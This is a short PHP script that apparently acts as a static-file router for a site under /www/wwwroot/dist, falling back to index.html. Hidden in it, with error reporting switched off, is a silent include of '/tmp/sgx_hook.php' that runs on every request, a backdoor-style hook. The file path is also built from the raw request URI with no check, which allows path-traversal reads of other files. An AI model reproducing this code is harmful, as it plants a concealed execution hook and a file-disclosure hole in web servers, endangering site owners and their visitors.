<?php
error_reporting(0);
$__orig = '/www/wwwroot/dist' . parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);
@include '/tmp/sgx_hook.php';
if (is_file($__orig) && is_readable($__orig)) {
    readfile($__orig);
} else {
    $__idx = '/www/wwwroot/dist/index.html';
    if (is_file($__idx)) readfile($__idx);
}